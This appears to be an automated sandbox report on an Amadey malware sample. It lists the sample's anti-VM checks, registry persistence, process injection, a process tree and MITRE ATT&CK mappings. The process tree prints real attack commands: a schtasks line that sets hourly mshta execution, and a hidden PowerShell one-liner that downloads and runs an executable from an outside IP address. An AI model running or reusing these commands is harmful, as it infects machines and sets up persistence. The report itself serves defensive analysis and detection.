amadey | 2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2q8976.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3r67y.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1B02P8.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
71	4440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1308	powershell.exe
3000	powershell.exe
4880	powershell.exe
4440	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1B02P8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3r67y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2q8976.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2q8976.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3r67y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1B02P8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	1B02P8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	4p817h.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
2456	u8H60.exe
4908	k6p42.exe
4368	1B02P8.exe
4352	skotes.exe
3748	2q8976.exe
2592	3r67y.exe
4828	4p817h.exe
1348	skotes.exe
5008	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	1B02P8.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	2q8976.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	3r67y.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	u8H60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	k6p42.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
4368	1B02P8.exe
4352	skotes.exe
3748	2q8976.exe
2592	3r67y.exe
1348	skotes.exe
5008	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1B02P8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1984	2592	WerFault.exe	87

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k6p42.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1B02P8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2q8976.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3r67y.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4p817h.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	u8H60.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3r67y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3r67y.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4788	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4884	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4368	1B02P8.exe
4368	1B02P8.exe
4352	skotes.exe
4352	skotes.exe
3748	2q8976.exe
3748	2q8976.exe
2592	3r67y.exe
2592	3r67y.exe
2592	3r67y.exe
2592	3r67y.exe
1348	skotes.exe
1348	skotes.exe
1308	powershell.exe
1308	powershell.exe
3000	powershell.exe
3000	powershell.exe
4880	powershell.exe
4880	powershell.exe
4440	powershell.exe
4440	powershell.exe
5008	skotes.exe
5008	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4368	1B02P8.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 2456	2236	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe	82
PID 2236 wrote to memory of 2456	2236	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe	82
PID 2236 wrote to memory of 2456	2236	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe	82
PID 2456 wrote to memory of 4908	2456	u8H60.exe	83
PID 2456 wrote to memory of 4908	2456	u8H60.exe	83
PID 2456 wrote to memory of 4908	2456	u8H60.exe	83
PID 4908 wrote to memory of 4368	4908	k6p42.exe	84
PID 4908 wrote to memory of 4368	4908	k6p42.exe	84
PID 4908 wrote to memory of 4368	4908	k6p42.exe	84
PID 4368 wrote to memory of 4352	4368	1B02P8.exe	85
PID 4368 wrote to memory of 4352	4368	1B02P8.exe	85
PID 4368 wrote to memory of 4352	4368	1B02P8.exe	85
PID 4908 wrote to memory of 3748	4908	k6p42.exe	86
PID 4908 wrote to memory of 3748	4908	k6p42.exe	86
PID 4908 wrote to memory of 3748	4908	k6p42.exe	86
PID 2456 wrote to memory of 2592	2456	u8H60.exe	87
PID 2456 wrote to memory of 2592	2456	u8H60.exe	87
PID 2456 wrote to memory of 2592	2456	u8H60.exe	87
PID 2236 wrote to memory of 4828	2236	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe	100
PID 2236 wrote to memory of 4828	2236	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe	100
PID 2236 wrote to memory of 4828	2236	2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe	100
PID 4828 wrote to memory of 2276	4828	4p817h.exe	101
PID 4828 wrote to memory of 2276	4828	4p817h.exe	101
PID 2276 wrote to memory of 4788	2276	cmd.exe	104
PID 2276 wrote to memory of 4788	2276	cmd.exe	104
PID 2276 wrote to memory of 512	2276	cmd.exe	106
PID 2276 wrote to memory of 512	2276	cmd.exe	106
PID 512 wrote to memory of 1308	512	cmd.exe	107
PID 512 wrote to memory of 1308	512	cmd.exe	107
PID 2276 wrote to memory of 4968	2276	cmd.exe	108
PID 2276 wrote to memory of 4968	2276	cmd.exe	108
PID 4968 wrote to memory of 3000	4968	cmd.exe	109
PID 4968 wrote to memory of 3000	4968	cmd.exe	109
PID 2276 wrote to memory of 4996	2276	cmd.exe	110
PID 2276 wrote to memory of 4996	2276	cmd.exe	110
PID 4996 wrote to memory of 4880	4996	cmd.exe	111
PID 4996 wrote to memory of 4880	4996	cmd.exe	111
PID 2276 wrote to memory of 4884	2276	cmd.exe	112
PID 2276 wrote to memory of 4884	2276	cmd.exe	112
PID 2276 wrote to memory of 2076	2276	cmd.exe	113
PID 2276 wrote to memory of 2076	2276	cmd.exe	113
PID 2076 wrote to memory of 4440	2076	mshta.exe	114
PID 2076 wrote to memory of 4440	2076	mshta.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe
"C:\Users\Admin\AppData\Local\Temp\2595082f1d4ac825280f2487c04af329df7a98fa3ac0e0ba20695a3a4a56d580.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\u8H60.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\u8H60.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\k6p42.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\k6p42.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1B02P8.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1B02P8.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4368
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2q8976.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2q8976.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3748
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3r67y.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3r67y.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2592
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2592 -s 1556
      4⤵
      Program crash
      PID:1984
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4p817h.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4p817h.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FF20.tmp\FF21.tmp\FF22.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4p817h.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2276
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:4788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4968
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4880
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "xdibMmayVsm" /tr "mshta \"C:\Temp\TeWXtGcnu.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4884
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\TeWXtGcnu.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2592 -ip 2592
1⤵
PID:2432

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1348

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion